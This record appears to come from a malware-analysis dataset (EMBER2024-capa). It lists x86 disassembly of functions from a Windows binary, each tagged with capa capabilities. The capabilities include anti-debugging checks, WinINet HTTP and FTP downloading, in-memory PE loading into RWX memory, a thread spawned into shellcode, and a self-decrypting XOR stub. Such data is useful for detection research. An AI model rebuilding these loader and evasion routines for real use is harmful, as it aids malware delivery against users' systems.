joyce8/EMBER2024-capa huggingface dataset:
Function at 0x490634
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x490662
mov eax, ebx
call fcn.004910e8
cmp dword [ebx + 0x40], 0
je 0x49065b
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x4906d3
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x4906c5
cmp dword [ebx + 8], 0
je 0x490684
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x490696
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4906c5
cmp dword [ebx + 8], 0
je 0x490677
cmp eax, 3
je 0x4906a9
dec eax
jne 0x490677
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x490677
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x490677
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x4906f1
cmp dword [ebx + 0x14], 0xcc
je 0x4906f1
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.004906fc
pop ebx
ret

Function at 0x4a10d4
Capabilities:
Create http request

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, eax
cmp dword [ebx + 4], 0
jne 0x4a11e3
mov eax, dword [ebx + 0x20]
call fcn.004048fc
test eax, eax
jne 0x4a110b
push 0
push 0
push 0
push 0
mov eax, dword [ebx + 0x18]
call fcn.00404afc
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebx + 4], eax
jmp 0x4a117d
push 0
push 0
mov eax, dword [ebx + 0x20]
call fcn.00404afc
push eax
push 3
mov eax, dword [ebx + 0x18]
call fcn.00404afc
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebx + 4], eax
mov eax, dword [ebx + 0x24]
call fcn.004048fc
test eax, eax
jle 0x4a1154
mov eax, dword [ebx + 0x24]
call fcn.004048fc
push eax
mov eax, dword [ebx + 0x24]
call fcn.00404afc
push eax
push 0x2b
mov eax, dword [ebx + 4]
push eax
call sub.wininet.dll_InternetSetOptionA
mov eax, dword [ebx + 0x28]
call fcn.004048fc
test eax, eax
jle 0x4a117d
mov eax, dword [ebx + 0x28]
call fcn.004048fc
push eax
mov eax, dword [ebx + 0x28]
call fcn.00404afc
push eax
push 0x2c
mov eax, dword [ebx + 4]
push eax
call sub.wininet.dll_InternetSetOptionA
mov dword [esp + 4], 0x7530
push 4
lea eax, [esp + 8]
push eax
push 2
mov eax, dword [ebx + 4]
push eax
call sub.wininet.dll_InternetSetOptionA
push 4
lea eax, [esp + 8]
push eax
push 6
mov eax, dword [ebx + 4]
push eax
call sub.wininet.dll_InternetSetOptionA
push 4
lea eax, [esp + 8]
push eax
push 5
mov eax, dword [ebx + 4]
push eax
call sub.wininet.dll_InternetSetOptionA
cmp byte [ebx + 0x1c], 0
je 0x4a11e3
mov dword [esp], 0xffffffff
push 4
lea eax, [esp + 4]
push eax
push 0x41
mov eax, dword [ebx + 4]
push eax
call sub.wininet.dll_InternetSetOptionA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebx + 0x1d], al
cmp dword [ebx + 4], 0
setne al
pop ecx
pop edx
pop ebx
ret
Function at 0x4a1554
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0x10
add esp, 0xfffff004
push eax
dec eax
jne 0x4a155d
mov eax, dword [ebp - 4]
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov byte [ebp - 9], 0
xor esi, esi
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push 0x10000
lea eax, [ebp - 0x10010]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.wininet.dll_InternetReadFile
test eax, eax
je 0x4a15d6
cmp dword [ebp - 0x10], 0
jbe 0x4a15cc
lea edx, [ebp - 0x10010]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp + 8]
mov edi, dword [eax]
call dword [edi + 0x10]
add esi, dword [ebp - 0x10]
mov ecx, esi
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.004a11f0
cmp byte [ebx + 8], 0
jne 0x4a15d6
cmp dword [ebp - 0x10], 0
jne 0x4a1583
mov byte [ebp - 9], 1
mov al, byte [ebp - 9]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4a15e4
Capabilities:
Connect to http server

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe9c
push ebx
push esi
push edi
mov esi, edx
lea edi, [ebp - 0x24]
push ecx
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
pop ecx
mov edi, ecx
mov ebx, eax
lea eax, [ebp - 0x24]
mov edx, dword [0x4a0c60]
call fcn.0040520c
xor eax, eax
push ebp
push 0x4a17cf
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4a17ac
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 1
mov eax, dword [ebp - 0x10]
call fcn.00404afc
push eax
mov eax, dword [ebp - 0x14]
call fcn.00404afc
push eax
mov edx, 0x15
mov eax, dword [ebp - 0x1c]
call fcn.00408e08
push eax
mov eax, dword [ebp - 0x20]
call fcn.00404afc
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wininet.dll_InternetConnectA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4a1681
cmp byte [ebx + 8], 0
je 0x4a168b
call fcn.00404078
jmp 0x4a17b3
push 0
push 0x10
lea eax, [ebp - 0x164]
push eax
mov eax, dword [ebp - 0x18]
call fcn.00404afc
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_FtpFindFirstFileA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4a1725
push 0
push 0x8000000
push 1
mov eax, dword [ebp - 0x10]
call fcn.00404afc
push eax
mov eax, dword [ebp - 0x14]
call fcn.00404afc
push eax
mov edx, 0x15
mov eax, dword [ebp - 0x1c]
call fcn.00408e08
push eax
mov eax, dword [ebp - 0x20]
call fcn.00404afc
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wininet.dll_InternetConnectA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4a16fb
cmp byte [ebx + 8], 0
je 0x4a1705
call fcn.00404078
jmp 0x4a17b3
push 0
push 0x10
lea eax, [ebp - 0x164]
push eax
mov eax, dword [ebp - 0x18]
call fcn.00404afc
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_FtpFindFirstFileA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4a1730
or esi, 0xffffffff
jmp 0x4a173f
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetCloseHandle
mov esi, dword [ebp - 0x144]
push 0
push 2
push 0x80000000
mov eax, dword [ebp - 0x18]
call fcn.00404afc
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_FtpOpenFileA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4a1769
cmp byte [ebx + 8], 0
je 0x4a1770
call fcn.00404078
jmp 0x4a17b3
push edi
mov ecx, esi
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.004a1554
mov byte [ebp - 1], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a17b3
cmp dword [ebp - 0xc], 0
je 0x4a179c
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetCloseHandle
cmp dword [ebp - 8], 0
je 0x4a17ab
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a17d6
lea eax, [ebp - 0x24]
mov edx, dword [0x4a0c60]
call fcn.004050c8
ret
Function at 0x4a1db0
Capabilities:
Parse pe header

Disassembly:
add esp, 0xfffffff8
xor edx, edx
mov ecx, eax
mov dword [esp], ecx
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [esp + 4], ecx
mov eax, dword [esp]
cmp word [eax], 0x5a4d
jne 0x4a1dfb
mov eax, dword [esp + 4]
cmp dword [eax], 0x4550
jne 0x4a1dfb
mov eax, dword [esp + 4]
movzx eax, word [eax + 0x14]
cmp eax, 0xe0
jne 0x4a1dfb
mov eax, dword [esp + 4]
mov ax, word [eax + 0x16]
and ax, 2
cmp ax, 2
sete dl
mov eax, edx
pop ecx
pop edx
ret

Function at 0x4a1e8c
Capabilities:
Allocate or change rwx memory
Enumerate pe sections

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe8
mov ebp, eax
xor eax, eax
mov dword [esp], eax
mov eax, ebp
call fcn.004a1db0
test al, al
je 0x4a1f5f
mov eax, ebp
call fcn.004a1d64
mov ebx, eax
test ebx, ebx
je 0x4a1f5f
mov eax, dword [ebp + 0x3c]
add eax, ebp
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
add eax, 0x18
mov edx, dword [esp + 0x10]
movzx edx, word [edx + 0x14]
add eax, edx
mov dword [esp + 0x14], eax
push 0x40
push 0x3000
push ebx
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [esp + 4], eax
cmp dword [esp + 4], 0
je 0x4a1f5f
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x14]
mov edx, ebp
mov eax, dword [esp + 4]
call fcn.00407628
mov eax, dword [esp + 0x10]
movzx edi, word [eax + 6]
dec edi
test edi, edi
jb 0x4a1f58
inc edi
xor ebx, ebx
lea esi, [ebx + ebx*4]
mov eax, dword [esp + 0x14]
mov edx, dword [eax + esi*8 + 0xc]
mov eax, dword [esp + 4]
call fcn.004a1d58
mov dword [esp + 8], eax
mov eax, dword [esp + 0x14]
mov edx, dword [eax + esi*8 + 0x14]
mov eax, ebp
call fcn.004a1d58
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + esi*8 + 0x10]
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 8]
call fcn.00407628
inc ebx
dec edi
jne 0x4a1f14
mov eax, dword [esp + 4]
mov dword [esp], eax
mov eax, dword [esp]
add esp, 0x18
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4a2230
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
xor eax, eax
push ebp
push 0x4a22ca
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40
push 0x1000
push 0x104
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 4], eax
push 0x104
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404834
mov edx, dword [ebp - 8]
mov eax, 0x4a22e4
call fcn.00404c40
test eax, eax
jle 0x4a22a7
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404834
mov edx, dword [ebp - 0xc]
mov eax, 0x4a22f0
call fcn.00404c40
test eax, eax
jg 0x4a22af
mov eax, 0x4a22f4
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a22d1
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00404660
ret
Function at 0x4a2320
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
mov edi, eax
mov esi, dword [ebp + 0xc]
xor eax, eax
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x4a243a
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, ebx
mov eax, edi
call fcn.004a1e8c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4a2365
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4a2444
mov eax, dword [ebp - 0xc]
call fcn.004a1f6c
mov eax, dword [ebp - 0xc]
call fcn.004a2030
test al, al
jne 0x4a2386
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4a2444
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x4c], 0xbc610f
mov eax, dword [0x4bc668]
push eax
call fcn.004a2230
mov edx, dword [ebp - 0x14]
mov dword [edx + 0x40], eax
test esi, esi
jne 0x4a23d9
mov eax, dword [ebp - 0x14]
mov esi, ebx
mov dword [eax + 0x44], esi
push 0x40
push 0x1000
push esi
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov edx, dword [ebp - 0x14]
mov dword [edx + 0x48], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x48]
mov ecx, ebx
mov edx, edi
call fcn.00407628
jmp 0x4a2404
mov eax, dword [ebp - 0x14]
mov ebx, esi
mov dword [eax + 0x44], ebx
push 0x40
push 0x1000
push ebx
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov edi, eax
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x48], edi
mov eax, edi
mov ecx, esi
mov edx, dword [ebp - 4]
call fcn.00407628
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 0xc]
push eax
push 0x4a22f8
push 0
push 0
call sub.kernel32.dll_CreateThread_1
cmp byte [ebp + 8], 0
je 0x4a242a
push 0xffffffffffffffff
push eax
call sub.kernel32.dll_WaitForSingleObject
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4a2444
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4a589c
Capabilities:
Hash data with crc32

Disassembly:
push ebx
xor ebx, ebx
mov ecx, 0x4bdda0
mov eax, ebx
mov edx, 8
test al, 1
je 0x4a58b8
shr eax, 1
xor eax, 0xedb88320
jmp 0x4a58ba
shr eax, 1
dec edx
jne 0x4a58ab
mov dword [ecx], eax
inc ebx
add ecx, 4
cmp ebx, 0x100
jne 0x4a58a4
pop ebx
ret

Function at 0x4a58d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404aec
xor eax, eax
push ebp
push 0x4a593f
push dword fs:[eax]
mov dword fs:[eax], esp
or ebx, 0xffffffff
mov eax, dword [ebp - 4]
call fcn.004048fc
test eax, eax
jle 0x4a5927
mov edx, 1
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + edx - 1]
mov esi, ebx
and esi, 0xff
xor ecx, esi
mov ecx, dword [ecx*4 + 0x4bdda0]
shr ebx, 8
xor ecx, ebx
mov ebx, ecx
inc edx
dec eax
jne 0x4a5903
not ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a5946
lea eax, [ebp - 4]
call fcn.0040463c
ret
Function at 0x4a5950
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push ecx
mov dword [esp], eax
or eax, 0xffffffff
dec edx
test edx, edx
jl 0x4a5984
inc edx
xor ecx, ecx
mov ebx, dword [esp]
movzx ebx, byte [ebx + ecx]
mov esi, eax
and esi, 0xff
xor ebx, esi
mov ebx, dword [ebx*4 + 0x4bdda0]
shr eax, 8
xor ebx, eax
mov eax, ebx
inc ecx
dec edx
jne 0x4a5961
not eax
pop edx
pop esi
pop ebx
ret

Function at 0x4a598c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push ecx
mov dword [esp], eax
or eax, 0xffffffff
dec edx
test edx, edx
jl 0x4a59c0
inc edx
xor ecx, ecx
mov ebx, dword [esp]
movzx ebx, byte [ebx + ecx]
mov esi, eax
and esi, 0xff
xor ebx, esi
mov ebx, dword [ebx*4 + 0x4bdda0]
shr eax, 8
xor ebx, eax
mov eax, ebx
inc ecx
dec edx
jne 0x4a599d
not eax
pop edx
pop esi
pop ebx
ret

Function at 0x4a5a68
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404aec
xor eax, eax
push ebp
push 0x4a5bb4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.0040463c
mov eax, dword [ebp - 4]
call fcn.004048fc
mov edi, eax
test edi, edi
je 0x4a5b9e
mov eax, esi
shr eax, 0x18
mov byte [ebp - 0xc], al
mov eax, esi
shr eax, 0x10
mov byte [ebp - 0xb], al
mov eax, esi
shr eax, 8
mov byte [ebp - 0xa], al
mov eax, esi
mov byte [ebp - 9], al
dec ebx
cmp ebx, 0
jl 0x4a5b65
mov dword [ebp - 8], ebx
mov esi, edi
dec esi
test esi, esi
jle 0x4a5b00
mov ebx, 1
lea eax, [ebp - 4]
call fcn.00404b54
mov edx, dword [ebp - 4]
mov dl, byte [edx + ebx - 1]
xor dl, byte [ebp - 0xa]
mov ecx, dword [ebp - 4]
mov cl, byte [ecx + ebx]
sub dl, cl
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x4a5ade
lea eax, [ebp - 4]
call fcn.00404b54
mov edx, dword [ebp - 4]
mov dl, byte [edx + edi - 1]
mov cl, byte [ebp - 0xc]
sub dl, cl
mov byte [eax + edi - 1], dl
mov ebx, edi
cmp ebx, 2
jl 0x4a5b44
lea eax, [ebp - 4]
call fcn.00404b54
mov edx, dword [ebp - 4]
mov dl, byte [edx + ebx - 1]
xor dl, byte [ebp - 9]
mov ecx, dword [ebp - 4]
mov cl, byte [ecx + ebx - 2]
sub dl, cl
mov byte [eax + ebx - 1], dl
dec ebx
cmp ebx, 1
jne 0x4a5b1f
lea eax, [ebp - 4]
call fcn.00404b54
mov edx, dword [ebp - 4]
mov dl, byte [edx]
mov cl, byte [ebp - 0xb]
sub dl, cl
mov byte [eax], dl
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xffffffff
jne 0x4a5ad2
lea eax, [ebp - 4]
call fcn.00404b54
mov ebx, edi
sub ebx, 4
mov edx, ebx
call fcn.004a5950
mov esi, eax
lea eax, [ebp - 4]
call fcn.00404b54
add eax, ebx
cmp esi, dword [eax]
jne 0x4a5b9e
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
call fcn.00404690
mov edx, ebx
mov eax, dword [ebp + 8]
call fcn.00404c88
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a5bbb
lea eax, [ebp - 4]
call fcn.0040463c
ret
Function at 0x4b75a8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov edi, eax
xor eax, eax
push ebp
push 0x4b76fc
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov ecx, 0x4b7714
mov edx, dword [0x4be240]
call fcn.00404948
mov eax, dword [ebp - 8]
call fcn.00409198
test al, al
jne 0x4b75fe
push 0
mov cx, word [0x4b7724]
mov dl, 1
mov eax, 0x4b7730
call fcn.0043d4f0
jmp 0x4b76e1
lea edx, [ebp - 4]
mov eax, dword [0x4be238]
call fcn.004b4ec0
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 4]
call fcn.00409450
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
call fcn.00408968
mov eax, dword [ebp - 0xc]
mov edx, 0x4b7764
call fcn.00404a48
jne 0x4b7678
mov dl, 1
mov eax, dword [0x4250b8]
call fcn.0042b688
mov ebx, eax
mov edx, dword [ebp - 4]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x4c]
mov eax, ebx
call fcn.0042bd44
cmp al, 6
je 0x4b7671
push 0
mov cx, word [0x4b7724]
mov dl, 1
mov eax, 0x4b7774
call fcn.0043d4f0
mov eax, ebx
call fcn.004037ec
jmp 0x4b76e1
mov eax, ebx
call fcn.004037ec
mov eax, dword [ebp - 4]
call fcn.004048fc
mov esi, eax
test esi, esi
jle 0x4b76a6
mov ebx, 1
mov eax, dword [ebp - 4]
cmp byte [eax + ebx - 1], 0x20
jne 0x4b76a2
lea eax, [ebp - 4]
call fcn.00404b54
mov byte [eax + ebx - 1], 0x3f
inc ebx
dec esi
jne 0x4b768b
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00404afc
push eax
lea eax, [ebp - 0x14]
mov ecx, 0x4b7714
mov edx, dword [0x4be240]
call fcn.00404948
mov eax, dword [ebp - 0x14]
call fcn.00404afc
push eax
push 0x4b77a0
mov eax, edi
call fcn.0044aab4
push eax
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b7703
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00404660
ret

Function at 0x4b7b34
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4b7bcc
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x105]
push eax
push 0x105
call sub.kernel32.dll_GetTempPathA
mov eax, ebx
lea edx, [ebp - 0x105]
mov ecx, 0x105
call fcn.004048ac
lea eax, [ebp - 0x10c]
push eax
mov eax, dword [ebx]
call fcn.004048fc
mov edx, eax
mov eax, dword [ebx]
mov ecx, 1
call fcn.00404b5c
mov eax, dword [ebp - 0x10c]
mov edx, 0x4b7be0
call fcn.00404a48
je 0x4b7bb3
mov eax, ebx
mov edx, 0x4b7be0
call fcn.00404904
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b7bd3
lea eax, [ebp - 0x10c]
call fcn.0040463c
ret
Function at 0x4b7c20
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x210], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4b7d23
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040463c
xor eax, eax
push ebp
push 0x4b7d00
push dword fs:[eax]
mov dword fs:[eax], esp
push pe_nt_image_headers32
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push pe_nt_image_headers32
lea eax, [ebp - 0x10c]
push eax
push 0x4b7d34
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x4b7c99
mov eax, dword [ebp - 0xc]
xor edx, edx
push edx
push eax
mov eax, ebx
call fcn.00408d7c
push pe_nt_image_headers32
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push pe_nt_image_headers32
lea eax, [ebp - 0x10c]
push eax
push 0x4b7d38
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x4b7cf6
push dword [ebx]
push 0x4b7d44
mov eax, dword [ebp - 0xc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x210]
call fcn.00408d7c
push dword [ebp - 0x210]
mov eax, ebx
mov edx, 3
call fcn.004049bc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4b7d0a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b7d2a
lea eax, [ebp - 0x210]
call fcn.0040463c
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x126b6c8
Capabilities:
Encode data using xor

Disassembly:
xchg ecx, eax
mov edi, 0x80747604
pop es
xchg ecx, eax
mov edi, 0x5836144d
rol ah, 7
mov bh, byte [edi + 0x444d]
adc byte [ebx], al
dec edi
xor byte [ecx + 7], cl
pop es
rol dword [eax], cl
mov ebx, 0x1aa90784
pop ss
jbe 0x126b670
pushfd
out 0x79, eax
out dx, eax
rol dword [edi - 0x25], 0x5c
les eax, es:[esi]
call 0xbd2cc19c
sar dh, 0x20
call esp
fild word [edi]
cmp al, 4
mov ecx, 0x8f185e00
and byte [ecx + ecx*4 - 0x1f3224d5], dl
push ds
shl al, 1
add dword [edi], ebp
mov cr1, edx
push ss
cmpsb byte [esi], byte es:[edi]
or bl, ch
aaa
push ds
or dl, byte [ecx + 8]
adc byte [ecx + edx*2 + 0x64], dl
sti
add byte [edx - 0x4f0e6ead], ch
les esp, [edi - 0x25]
pop eax
leave
loopne 0x126b68b
popal
and al, 0xae
leave
salc
popal
and dword [edi], edx
cmp dword [eax], ecx
pop es
pop es
mov ebp, 0x8c3c7c48
push ebx
xor dword [esi - 0x5a], esp
jle 0x126b739
fist dword [si + 0xf0f]
das
jae 0x126b733
lea ecx, [edx]
add dword [esi], ebx
dec esi
je 0x126b745
cld
invalid
cmp dword [ebx + 0x74], esp
rcr dword es:[esi - 0x45bbda00], 0xa
and dl, byte [ebp - 5]
add byte [esi], ah
inc esp
mov edx, 0xfb55220a
xor dword [ecx], ecx
adc ecx, dword [edi + 0x4d]
dec ebp
adc edx, dword [esp + edx*2]
push ds
xchg dword [edx], eax
inc edi
bound ebp, qword [ecx + 0x6c]
iretd
Function at 0x126b9d4
Capabilities:
Encode data using xor

Disassembly:
popal
or dh, dh
mov eax, dword [0x704d0887]
aad 0x34
test byte [ebp + 0x45], bl
imul eax, dword [edx + esi*4], 0x6f
lea edx, [eax + 0x64644109]
daa
cmp eax, 0x412f903
cdq
mov dword [edx], eax
dec eax
pop esp
xor al, 0x80
xor dword [ebx], ebx
outsb dx, byte [esi]
mov byte [ecx], ah
adc al, 0x71
sbb eax, 0x60b7eb3b
sub ecx, esi
mov ah, 0xa
xor eax, 0x54a41b69
inc eax
test byte [eax - 0x56724e27], dh
idiv byte [ebp + 0x646d0275]
or byte [ecx], bl
fdiv dword [ebp + 0x4c]
add eax, eax
add eax, 0xd0b2a31b
mov esi, dword [ecx]
shl esp, 0xe3
jae 0x126ba9c
push esp
insb byte es:[edi], dx
rcl dword [edx + esi*2], 0x2a
xor esp, ebp
mov ah, 0x3a
add eax, dword [ecx + 0x533c1006]
je 0x126ba2f
movsd dword es:[edi], dword [esi]
inc edx
das
nop
adc edx, dword [ebp + 0x34]
in al, dx
mov ah, 0x2a
shr byte [ecx - 0x4b134cf2], 1
inc edi
add byte [ecx - 0x70], bh
mov esp, 0xf455b4ec
or eax, 0xbbd83be0
aaa
push eax
push esi
adc byte [edx + ebp], ch
inc esi
pop ss
jne 0x126ba1f
add byte [edx - 8], 0
les edx, [edi + 0x3c]
inc ebp
adc byte [eax], ch
add eax, 0xd9b4ec72
sbb dword [edi], ebp
test al, 0x5e
invalid
adc eax, 0x1dd9953b
push ebp
mov ch, byte [ebx + 0x67]
jno 0x126ba9c
hlt
or eax, 0x3544868f
das
mov dword [eax], eax
setb dh
push ebp
sub dword [ecx], ebx
inc eax
mov al, byte [0x9982c540]
mov bl, 0xfb
inc edx
loop 0x126bac4
jmp 0x29872819
pushal
sub byte [edi + edi*2], cl
mov cl, 0xd1
jne 0x126baf9
stc
add bh, dl
mov edi, dword [eax - 0x2eb5153f]
test eax, 0x450c5860
inc ebx
add edx, dword [eax - 0x45daf380]
jle 0x126baa7
inc esi
imul ebp, dword [ebp + 0x53], 0x40dd201c
adc dword [eax + 0x7b], edx
lodsb al, byte [esi]
add esi, dword [ebx]
or al, 0x20
xchg esp, eax
invalid
xor byte [eax], cl
mov bh, 0x8e
mov eax, dword [0x611b1bb0]
or byte [esi], cl
lahf
mov bl, 0x3c
stosd dword es:[edi], eax
invalid
Function at 0x71cfa7
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x71cfed
mov byte [esp], dh
mov word [esp + 1], si
mov dword [esp + 4], ebx
pushal